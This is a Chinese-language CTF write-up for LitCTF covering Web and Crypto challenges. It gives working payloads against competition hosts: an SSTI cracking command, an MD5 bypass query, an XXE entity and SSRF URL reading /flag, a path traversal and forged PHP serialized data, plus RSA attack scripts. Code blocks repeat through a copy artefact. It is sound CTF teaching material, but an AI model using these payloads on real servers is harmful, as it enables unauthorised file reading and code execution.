前言
百万美元三血
AK WEB RE MISC方向
![图片[1],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602033345608.png?imageView2/0/format/webp/q/75)
![图片[2],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602033353851.png?imageView2/0/format/webp/q/75)
->Web方向
一个池子?
猜测SSTI
![图片[3],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601101023658.png?imageView2/0/format/webp/q/75)
验证一下
![图片[4],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601101045431.png?imageView2/0/format/webp/q/75)
确定为ssti漏洞
![图片[5],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601110206771.png?imageView2/0/format/webp/q/75)
出的题很简单, 自从某场比赛ssti绕waf了一夜绕了出来,就再也没有难的ssti了
这题都不用手注 fenjing梭了…….
python -m fenjing crack -u http://node1.anna.nssctf.cn:28187/echo --method POST --inputs input --interval 0.01python -m fenjing crack -u http://node1.anna.nssctf.cn:28187/echo --method POST --inputs input --interval 0.01python -m fenjing crack -u http://node1.anna.nssctf.cn:28187/echo --method POST --inputs input --interval 0.01
![图片[6],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602034512177.png?imageView2/0/format/webp/q/75)
![图片[7],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601101149150.png?imageView2/0/format/webp/q/75)
![图片[8],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601110230879.png?imageView2/0/format/webp/q/75)
百万美元的诱惑
![图片[9],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601101437755.png?imageView2/0/format/webp/q/75)
三血
经典的绕过a不等于b 但a的md5必须和b的md5一样
比赛已经出现过很多次这样的题了
?a=QNKCDZO&b=s878926199a
下面一个c用2025e绕过
整体payload
?a=QNKCDZO&b=s878926199a&c=2025e
![图片[10],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601102030966.png?imageView2/0/format/webp/q/75)
进入dollar.php
![图片[11],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601102209769.png?imageView2/0/format/webp/q/75)
无数字无字母构造12
这里使用$(())构造
![图片[12],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601102238231.png?imageView2/0/format/webp/q/75)
某show的相似题具体分析过程可看
![图片[13],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602040232669.png?imageView2/0/format/webp/q/75)
这里构造12个 *13即可
get_reverse_number = "$((~$(({}))))" # 取反操作negative_one = "$((~$(())))" # -1payload = get_reverse_number.format(negative_one*13)print(payload)get_reverse_number = "$((~$(({}))))" # 取反操作 negative_one = "$((~$(())))" # -1 payload = get_reverse_number.format(negative_one*13) print(payload)get_reverse_number = "$((~$(({}))))" # 取反操作 negative_one = "$((~$(())))" # -1 payload = get_reverse_number.format(negative_one*13) print(payload)
发送之后查看源代码
![图片[14],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601102625790.png?imageView2/0/format/webp/q/75)
![图片[15],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601102632550.png?imageView2/0/format/webp/q/75)
浏览器也能套娃
![图片[16],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601101320687.png?imageView2/0/format/webp/q/75)
这里只能读取本地的 的url 猜测 SSRF
![图片[17],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601101333995.png?imageView2/0/format/webp/q/75)
file:///flag
![图片[18],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601101349436.png?imageView2/0/format/webp/q/75)
SAS – Serializing Authentication System
![图片[19],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601102813255.png?imageView2/0/format/webp/q/75)
只需要username=admin password=secure_password让后base64序列化即可
<?phpclass User {public $username='admin';public $password='secure_password';function __construct($username, $password) {$this->username = $username;$this->password = $password;}function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }}$a=new User("admin","secure_password");$b=serialize($a);$c=base64_encode($b);echo $c;?><?php class User { public $username='admin'; public $password='secure_password'; function __construct($username, $password) { $this->username = $username; $this->password = $password; } function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; } } $a=new User("admin","secure_password"); $b=serialize($a); $c=base64_encode($b); echo $c; ?><?php class User { public $username='admin'; public $password='secure_password'; function __construct($username, $password) { $this->username = $username; $this->password = $password; } function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; } } $a=new User("admin","secure_password"); $b=serialize($a); $c=base64_encode($b); echo $c; ?>
![图片[20],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601102845410.png?imageView2/0/format/webp/q/75)
![图片[21],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601102851527.png?imageView2/0/format/webp/q/75)
exx
![图片[22],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601102910211.png?imageView2/0/format/webp/q/75)
查看源代码
![图片[23],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601102918774.png?imageView2/0/format/webp/q/75)
xxe注入
账号密码登录之后bp抓一下包
替换一下post的内容
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///flag">]><user><username>&xxe;</username><password>&xxe;</password></user><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <user><username>&xxe;</username><password>&xxe;</password></user><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <user><username>&xxe;</username><password>&xxe;</password></user>
![图片[24],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601102933952.png?imageView2/0/format/webp/q/75)
高亮主题(划掉)背景查看器
尝试抓个包,看到
![图片[25],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601104805913.png?imageView2/0/format/webp/q/75)
POST / HTTP/1.1Host: node2.anna.nssctf.cn:28997User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 16Origin: http://node2.anna.nssctf.cn:28997Connection: closeReferer: http://node2.anna.nssctf.cn:28997/Cookie:Hm_lvt_648a44a949074de73151ffaa0a832aec=1715590891,1715596028,1715825320,1717205210; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1717205210Upgrade-Insecure-Requests: 1Priority: u=1theme=theme1.phpPOST / HTTP/1.1 Host: node2.anna.nssctf.cn:28997 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 16 Origin: http://node2.anna.nssctf.cn:28997 Connection: close Referer: http://node2.anna.nssctf.cn:28997/ Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1715590891,1715596028,1715825320,1717205210 ; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1717205210 Upgrade-Insecure-Requests: 1 Priority: u=1 theme=theme1.phpPOST / HTTP/1.1 Host: node2.anna.nssctf.cn:28997 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 16 Origin: http://node2.anna.nssctf.cn:28997 Connection: close Referer: http://node2.anna.nssctf.cn:28997/ Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1715590891,1715596028,1715825320,1717205210 ; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1717205210 Upgrade-Insecure-Requests: 1 Priority: u=1 theme=theme1.php
发现url请求被过滤..符号,但是这里还是可以进行文件读取,POST请求了theme=theme1.php
于是在此页面构造 theme=../../../../../flag,成功读取flag
![图片[26],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602025736739.png?imageView2/0/format/webp/q/75)
->Crypto方向
CRT
观察脚本,发现可以利用广播攻击:
![图片[27],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601105651198.png?imageView2/0/format/webp/q/75)
sage脚本
from gmpy2 import irootfrom Crypto.Util.number import long_to_bytes# 给定的模数 n 和密文列表 c_list n =19041138093915757361446596917618836424321232810490087445558083446664894622882726613154205435993358657711781275735559409274819618824173042980556986038895407758062549819608054613307399838408867855623647751322414190174111523595370113664729594420259754806834656490417292174994337683676504327493103018506242963063671315605427867054873507720342850038307517016687659435974562024973531717274759193577450556292821410388268243304996720337394829726453680432751092955575512372582624694709289019402908986429709116441544332327738968785428501665254894444651547623008530708343210644814773933974042816703834571427534684321229977525229c_list = [438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 1771561,1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375,1295029, 857375, 1030301, 1442897, 1601613, 140608, 1259712, 857375,970299, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631,1560896, 857375, 110592, 1061208, 857375, 1331000, 1953125]# 解密函数def decrypt_rsa_low_exponent(c_list, n): decrypted_message = ''for c in c_list:# 利用立方根求解m, exact = iroot(c, 3) if exact:decrypted_message += long_to_bytes(m).decode('utf-8') else:raise ValueError("无法解密!")return decrypted_message# 解密密文列表try:flag = decrypt_rsa_low_exponent(c_list, n) print("Decrypted message:", flag)except ValueError as e: print(e)from gmpy2 import iroot from Crypto.Util.number import long_to_bytes # 给定的模数 n 和密文列表 c_list n = 190411380939157573614465969176188364243212328104900874455580834466648946228827266 131542054359933586577117812757355594092748196188241730429805569860388954077580625 498196080546133073998384088678556236477513224141901741115235953701136647295944202 597548068346564904172921749943376836765043274931030185062429630636713156054278670 548735077203428500383075170166876594359745620249735317172747591935774505562928214 103882682433049967203373948297264536804327510929555755123725826246947092890194029 089864297091164415443323277389687854285016652548944446515476230085307083432106448 14773933974042816703834571427534684321229977525229 c_list = [ 438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 1771561, 1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375, 1295029, 857375, 1030301, 1442897, 1601613, 140608, 1259712, 857375, 970299, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631, 1560896, 857375, 110592, 1061208, 857375, 1331000, 1953125 ] # 解密函数 def decrypt_rsa_low_exponent(c_list, n): decrypted_message = '' for c in c_list: # 利用立方根求解 m, exact = iroot(c, 3) if exact: decrypted_message += long_to_bytes(m).decode('utf-8') else: raise ValueError("无法解密!") return decrypted_message # 解密密文列表 try: flag = decrypt_rsa_low_exponent(c_list, n) print("Decrypted message:", flag) except ValueError as e: print(e)from gmpy2 import iroot from Crypto.Util.number import long_to_bytes # 给定的模数 n 和密文列表 c_list n = 190411380939157573614465969176188364243212328104900874455580834466648946228827266 131542054359933586577117812757355594092748196188241730429805569860388954077580625 498196080546133073998384088678556236477513224141901741115235953701136647295944202 597548068346564904172921749943376836765043274931030185062429630636713156054278670 548735077203428500383075170166876594359745620249735317172747591935774505562928214 103882682433049967203373948297264536804327510929555755123725826246947092890194029 089864297091164415443323277389687854285016652548944446515476230085307083432106448 14773933974042816703834571427534684321229977525229 c_list = [ 438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 1771561, 1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375, 1295029, 857375, 1030301, 1442897, 1601613, 140608, 1259712, 857375, 970299, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631, 1560896, 857375, 110592, 1061208, 857375, 1331000, 1953125 ] # 解密函数 def decrypt_rsa_low_exponent(c_list, n): decrypted_message = '' for c in c_list: # 利用立方根求解 m, exact = iroot(c, 3) if exact: decrypted_message += long_to_bytes(m).decode('utf-8') else: raise ValueError("无法解密!") return decrypted_message # 解密密文列表 try: flag = decrypt_rsa_low_exponent(c_list, n) print("Decrypted message:", flag) except ValueError as e: print(e)
small_e
使用低指数攻击来解密提供的密文
列表c_List。直接求每个密文的立方根,转换为字符来得到flag
![图片[28],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601105912517.png?imageView2/0/format/webp/q/75)
![图片[29],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601105847124.png?imageView2/0/format/webp/q/75)
from gmpy2 import irootfrom Crypto.Util.number import long_to_bytes# 给定的模数 n 和密文列表 c_listn = 19041138093915757361446596917618836424321232810490087445558083446664894622882726613154205435993358657711781275735559409274819618824173042980556986038895407758062549819608054613307399838408867855623647751322414190174111523595370113664729594420259754806834656490417292174994337683676504327493103018506242963063671315605427867054873507720342850038307517016687659435974562024973531717274759193577450556292821410388268243304996720337394829726453680432751092955575512372582624694709289019402908986429709116441544332327738968785428501665254894444651547623008530708343210644814773933974042816703834571427534684321229977525229c_list = [438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 1771561,1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375,1295029, 857375, 1030301, 1442897, 1601613, 140608, 1259712, 857375,970299, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631,1560896, 857375, 110592, 1061208, 857375, 1331000, 1953125]# 解密函数def decrypt_rsa_low_exponent(c_list, n):decrypted_message = ''for c in c_list:# 利用立方根求解m, exact = iroot(c, 3)if exact:decrypted_message += long_to_bytes(m).decode('utf-8')else:raise ValueError("无法解密!")return decrypted_message# 解密密文列表try:flag = decrypt_rsa_low_exponent(c_list, n)print("Decrypted message:", flag)except ValueError as e:print(e)from gmpy2 import iroot from Crypto.Util.number import long_to_bytes # 给定的模数 n 和密文列表 c_list n = 19041138093915757361446596917618836424321232810490087445558083446664894622882726613154205435993358657711781275735559409274819618824173042980556986038895407758062549819608054613307399838408867855623647751322414190174111523595370113664729594420259754806834656490417292174994337683676504327493103018506242963063671315605427867054873507720342850038307517016687659435974562024973531717274759193577450556292821410388268243304996720337394829726453680432751092955575512372582624694709289019402908986429709116441544332327738968785428501665254894444651547623008530708343210644814773933974042816703834571427534684321229977525229 c_list = [ 438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 1771561, 1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375, 1295029, 857375, 1030301, 1442897, 1601613, 140608, 1259712, 857375, 970299, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631, 1560896, 857375, 110592, 1061208, 857375, 1331000, 1953125 ] # 解密函数 def decrypt_rsa_low_exponent(c_list, n): decrypted_message = '' for c in c_list: # 利用立方根求解 m, exact = iroot(c, 3) if exact: decrypted_message += long_to_bytes(m).decode('utf-8') else: raise ValueError("无法解密!") return decrypted_message # 解密密文列表 try: flag = decrypt_rsa_low_exponent(c_list, n) print("Decrypted message:", flag) except ValueError as e: print(e)from gmpy2 import iroot from Crypto.Util.number import long_to_bytes # 给定的模数 n 和密文列表 c_list n = 19041138093915757361446596917618836424321232810490087445558083446664894622882726613154205435993358657711781275735559409274819618824173042980556986038895407758062549819608054613307399838408867855623647751322414190174111523595370113664729594420259754806834656490417292174994337683676504327493103018506242963063671315605427867054873507720342850038307517016687659435974562024973531717274759193577450556292821410388268243304996720337394829726453680432751092955575512372582624694709289019402908986429709116441544332327738968785428501665254894444651547623008530708343210644814773933974042816703834571427534684321229977525229 c_list = [ 438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 1771561, 1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375, 1295029, 857375, 1030301, 1442897, 1601613, 140608, 1259712, 857375, 970299, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631, 1560896, 857375, 110592, 1061208, 857375, 1331000, 1953125 ] # 解密函数 def decrypt_rsa_low_exponent(c_list, n): decrypted_message = '' for c in c_list: # 利用立方根求解 m, exact = iroot(c, 3) if exact: decrypted_message += long_to_bytes(m).decode('utf-8') else: raise ValueError("无法解密!") return decrypted_message # 解密密文列表 try: flag = decrypt_rsa_low_exponent(c_list, n) print("Decrypted message:", flag) except ValueError as e: print(e)
common_primes
![图片[30],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601105934929.png?imageView2/0/format/webp/q/75)
共模攻击
两个RSA公钥模数和共享一个质因数 ,破解原密文整体思路:
通过计算两个给定模数 和 的最大公因数,找到它们的共享质因数
使用共享质因数分解和 ,得到另外两个质因数和
使用欧拉的 函数计算和的值这是后续计算私钥指数所需的中间值
通过计算公钥指数 在模和下的模反元素,得到私钥指数和
使用得到的私钥指数和,对相应的密文 和 进行解密,得到明文和
将解密得到的长整数转换为字节数组,解码为字符串 如果两个解密后的消息相同,输出解码后的 flag
![图片[31],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601105954930.png?imageView2/0/format/webp/q/75)
脚本
from Crypto.Util.number import long_to_bytes, inversefrom sympy import gcd# 给定的模数和密文n1 = 63306931765261881888912008095340470978772999620205174857271016152744820165330787864800482852578992473814976781143226630412780924144266471891939661312715157811674817013479316983665960087664430205713509995750877665395721635625035356901765881750073584848176491668327836527294900831898083545883834181689919776769n2 = 73890412251808619164803968217212494551414786402702497903464017254263780569629065810640215252722102084753519255771619560056118922616964068426636691565703046691711267156442562144139650728482437040380743352597966331370286795249123105338283013032779352474246753386108510685224781299865560425114568893879804036573c1 = 11273036722994861938281568979042367628277071611591846129102291159440871997302324919023708593105900105417528793646809809850626919594099479505740175853342947734943586940152981298688146019253712344529086852083823837309492466840942593843720630113494974454498664328412122979195932862028821524725158358036734514252c2 = 42478690444030101869094906005321968598060849172551382502632480617775125215522908666432583017311390935937075283150967678500354031213909256982757457592610576392121713817693171520657833496635639026791597219755461854281419207606460025156812307819350960182028395013278964809309982264879773316952047848608898562420e = 65537# 计算共享质因数 pp = int(gcd(n1, n2))# 计算 q1 和 q2q1 = n1 // pq2 = n2 // p# 计算 phi(n1) 和 phi(n2)phi_n1 = (p - 1) * (q1 - 1)phi_n2 = (p - 1) * (q2 - 1)# 计算 d1 和 d2d1 = inverse(e, phi_n1)d2 = inverse(e, phi_n2)# 解密消息 m1 和 m2m1 = pow(c1, d1, n1)m2 = pow(c2, d2, n2)# 将解密后的长整数转换回字节flag1 = long_to_bytes(m1)flag2 = long_to_bytes(m2)# 打印解密后的消息print("Decrypted message from c1:", flag1)print("Decrypted message from c2:", flag2)# 打印解密后的消息中的 flag(假设 flag 存在于其中之一)if flag1 == flag2:print("Flag:", flag1.decode())else:print("Flag from c1:", flag1.decode())print("Flag from c2:", flag2.decode())from Crypto.Util.number import long_to_bytes, inverse from sympy import gcd # 给定的模数和密文 n1 = 63306931765261881888912008095340470978772999620205174857271016152744820165330787864800482852578992473814976781143226630412780924144266471891939661312715157811674817013479316983665960087664430205713509995750877665395721635625035356901765881750073584848176491668327836527294900831898083545883834181689919776769 n2 = 73890412251808619164803968217212494551414786402702497903464017254263780569629065810640215252722102084753519255771619560056118922616964068426636691565703046691711267156442562144139650728482437040380743352597966331370286795249123105338283013032779352474246753386108510685224781299865560425114568893879804036573 c1 = 11273036722994861938281568979042367628277071611591846129102291159440871997302324919023708593105900105417528793646809809850626919594099479505740175853342947734943586940152981298688146019253712344529086852083823837309492466840942593843720630113494974454498664328412122979195932862028821524725158358036734514252 c2 = 42478690444030101869094906005321968598060849172551382502632480617775125215522908666432583017311390935937075283150967678500354031213909256982757457592610576392121713817693171520657833496635639026791597219755461854281419207606460025156812307819350960182028395013278964809309982264879773316952047848608898562420 e = 65537 # 计算共享质因数 p p = int(gcd(n1, n2)) # 计算 q1 和 q2 q1 = n1 // p q2 = n2 // p # 计算 phi(n1) 和 phi(n2) phi_n1 = (p - 1) * (q1 - 1) phi_n2 = (p - 1) * (q2 - 1) # 计算 d1 和 d2 d1 = inverse(e, phi_n1) d2 = inverse(e, phi_n2) # 解密消息 m1 和 m2 m1 = pow(c1, d1, n1) m2 = pow(c2, d2, n2) # 将解密后的长整数转换回字节 flag1 = long_to_bytes(m1) flag2 = long_to_bytes(m2) # 打印解密后的消息 print("Decrypted message from c1:", flag1) print("Decrypted message from c2:", flag2) # 打印解密后的消息中的 flag(假设 flag 存在于其中之一) if flag1 == flag2: print("Flag:", flag1.decode()) else: print("Flag from c1:", flag1.decode()) print("Flag from c2:", flag2.decode())from Crypto.Util.number import long_to_bytes, inverse from sympy import gcd # 给定的模数和密文 n1 = 63306931765261881888912008095340470978772999620205174857271016152744820165330787864800482852578992473814976781143226630412780924144266471891939661312715157811674817013479316983665960087664430205713509995750877665395721635625035356901765881750073584848176491668327836527294900831898083545883834181689919776769 n2 = 73890412251808619164803968217212494551414786402702497903464017254263780569629065810640215252722102084753519255771619560056118922616964068426636691565703046691711267156442562144139650728482437040380743352597966331370286795249123105338283013032779352474246753386108510685224781299865560425114568893879804036573 c1 = 11273036722994861938281568979042367628277071611591846129102291159440871997302324919023708593105900105417528793646809809850626919594099479505740175853342947734943586940152981298688146019253712344529086852083823837309492466840942593843720630113494974454498664328412122979195932862028821524725158358036734514252 c2 = 42478690444030101869094906005321968598060849172551382502632480617775125215522908666432583017311390935937075283150967678500354031213909256982757457592610576392121713817693171520657833496635639026791597219755461854281419207606460025156812307819350960182028395013278964809309982264879773316952047848608898562420 e = 65537 # 计算共享质因数 p p = int(gcd(n1, n2)) # 计算 q1 和 q2 q1 = n1 // p q2 = n2 // p # 计算 phi(n1) 和 phi(n2) phi_n1 = (p - 1) * (q1 - 1) phi_n2 = (p - 1) * (q2 - 1) # 计算 d1 和 d2 d1 = inverse(e, phi_n1) d2 = inverse(e, phi_n2) # 解密消息 m1 和 m2 m1 = pow(c1, d1, n1) m2 = pow(c2, d2, n2) # 将解密后的长整数转换回字节 flag1 = long_to_bytes(m1) flag2 = long_to_bytes(m2) # 打印解密后的消息 print("Decrypted message from c1:", flag1) print("Decrypted message from c2:", flag2) # 打印解密后的消息中的 flag(假设 flag 存在于其中之一) if flag1 == flag2: print("Flag:", flag1.decode()) else: print("Flag from c1:", flag1.decode()) print("Flag from c2:", flag2.decode())
common_primes_plus
思路还是基于共模攻击,该攻击使用了两个 RSA 公钥(模数 n1 和 n2)共享的质因数 p。共享质因数的存在可以推导出 RSA 私钥并解密消息
from Crypto.Util.number import long_to_bytes, inversefrom sympy import gcd# 已知值n1 = 72619153900682160072296441595808393095979917106156741746523649725579328293061366133340736822282117284050717527134297532031234706715551253283030119063143935874516054785948327252045453986903379262257406260016876625891582923191913450785482873961282498295762698500898694660964018533698142756095427829906473038053hint1 = 115150932086321440397498980975794957800400136337062771258224890596200580556053305338941267789684878816176014493153795643655219028833232337281425177163963414534998897852644398384446019097451620742463880027107068960452304016955877225140421899265978792650445328111566277376529454404089066088845864500514742797060500618255170627hint2 = 166820160267525807953634213157298160399912450930658918773153592459310847514047652216110562360456335336533080444219104489314586122760398361430693763814336759476811490524054588094610387417965626546375189720748660483054863693527537614055954695966458622029711055735399842018236940424665041143785192280089418185085532002136215976c = 28378912671104261862184597375842174085651209464660064937481961814538145807266472966765374317717522401362019901110151858589886717440587644003368826809403188935808872400614919296641885383025657934630410406898092262104442977722339379234085663757182028529198392480656965957860644395092769333414671609962801212632e = 65537# 通过 GCD 求得 pp = gcd(hint1, hint2)if p == 1:raise ValueError("Common factor p could not be found from given hints.")# 计算 q1q1 = n1 // p# 计算 phi(n1)phi_n1 = (p - 1) * (q1 - 1)# 将 phi_n1 转换为标准整数phi_n1 = int(phi_n1)# 计算私钥指数 d1d1 = inverse(e, phi_n1)# 解密消息 mm = pow(c, d1, n1)# 将解密后的长整数转换回字节flag = long_to_bytes(m)# 打印解密后的消息print("Decrypted message:", flag.decode())from Crypto.Util.number import long_to_bytes, inverse from sympy import gcd # 已知值 n1 = 72619153900682160072296441595808393095979917106156741746523649725579328293061366133340736822282117284050717527134297532031234706715551253283030119063143935874516054785948327252045453986903379262257406260016876625891582923191913450785482873961282498295762698500898694660964018533698142756095427829906473038053 hint1 = 115150932086321440397498980975794957800400136337062771258224890596200580556053305338941267789684878816176014493153795643655219028833232337281425177163963414534998897852644398384446019097451620742463880027107068960452304016955877225140421899265978792650445328111566277376529454404089066088845864500514742797060500618255170627 hint2 = 166820160267525807953634213157298160399912450930658918773153592459310847514047652216110562360456335336533080444219104489314586122760398361430693763814336759476811490524054588094610387417965626546375189720748660483054863693527537614055954695966458622029711055735399842018236940424665041143785192280089418185085532002136215976 c = 28378912671104261862184597375842174085651209464660064937481961814538145807266472966765374317717522401362019901110151858589886717440587644003368826809403188935808872400614919296641885383025657934630410406898092262104442977722339379234085663757182028529198392480656965957860644395092769333414671609962801212632 e = 65537 # 通过 GCD 求得 p p = gcd(hint1, hint2) if p == 1: raise ValueError("Common factor p could not be found from given hints.") # 计算 q1 q1 = n1 // p # 计算 phi(n1) phi_n1 = (p - 1) * (q1 - 1) # 将 phi_n1 转换为标准整数 phi_n1 = int(phi_n1) # 计算私钥指数 d1 d1 = inverse(e, phi_n1) # 解密消息 m m = pow(c, d1, n1) # 将解密后的长整数转换回字节 flag = long_to_bytes(m) # 打印解密后的消息 print("Decrypted message:", flag.decode())from Crypto.Util.number import long_to_bytes, inverse from sympy import gcd # 已知值 n1 = 72619153900682160072296441595808393095979917106156741746523649725579328293061366133340736822282117284050717527134297532031234706715551253283030119063143935874516054785948327252045453986903379262257406260016876625891582923191913450785482873961282498295762698500898694660964018533698142756095427829906473038053 hint1 = 115150932086321440397498980975794957800400136337062771258224890596200580556053305338941267789684878816176014493153795643655219028833232337281425177163963414534998897852644398384446019097451620742463880027107068960452304016955877225140421899265978792650445328111566277376529454404089066088845864500514742797060500618255170627 hint2 = 166820160267525807953634213157298160399912450930658918773153592459310847514047652216110562360456335336533080444219104489314586122760398361430693763814336759476811490524054588094610387417965626546375189720748660483054863693527537614055954695966458622029711055735399842018236940424665041143785192280089418185085532002136215976 c = 28378912671104261862184597375842174085651209464660064937481961814538145807266472966765374317717522401362019901110151858589886717440587644003368826809403188935808872400614919296641885383025657934630410406898092262104442977722339379234085663757182028529198392480656965957860644395092769333414671609962801212632 e = 65537 # 通过 GCD 求得 p p = gcd(hint1, hint2) if p == 1: raise ValueError("Common factor p could not be found from given hints.") # 计算 q1 q1 = n1 // p # 计算 phi(n1) phi_n1 = (p - 1) * (q1 - 1) # 将 phi_n1 转换为标准整数 phi_n1 = int(phi_n1) # 计算私钥指数 d1 d1 = inverse(e, phi_n1) # 解密消息 m m = pow(c, d1, n1) # 将解密后的长整数转换回字节 flag = long_to_bytes(m) # 打印解密后的消息 print("Decrypted message:", flag.decode())
![图片[32],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240601110049131.png?imageView2/0/format/webp/q/75)
Polynomial
下载附件
![图片[33],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602030013919.png?imageView2/0/format/webp/q/75)
根据代码分析,这个CTF题目涉及基于一个使用了三个素数的RSA加密系统。通常的RSA加密系统使用两个素数(p
和 q
)来计算模数 n
,但在这个题目中,模数 n
是由三个素数 (p
, q
和 r
) 相乘得到的。我们的任务就是根据给定的多项式方程组和加密密文来解密消息
第一步:使用给定的多项式方程组,建立三个关于素数 p
、q
和 r
的方程,通过求解这些方程来获取素数的值
第二步:使用求得的三个素数 p
、q
和 r
,计算出模数 n
,φ(n)
是欧拉函数,计算方式为 (p-1)*(q-1)*(r-1)
,其中 p
、q
和 r
是解密过程中求得的素数
第三步:使用模反元素公式计算私钥 d
: d ≡ e^(-1) (mod φ(n))
,其中 e
是公钥的指数,一般默认值为 65537
第四步:使用私钥 d
和 RSA 解密公式 m ≡ c^d (mod n)
,得到解密后的消息 m
最后将解密出的长整数消息 m
转换为字节,并尝试解码为可读的文本
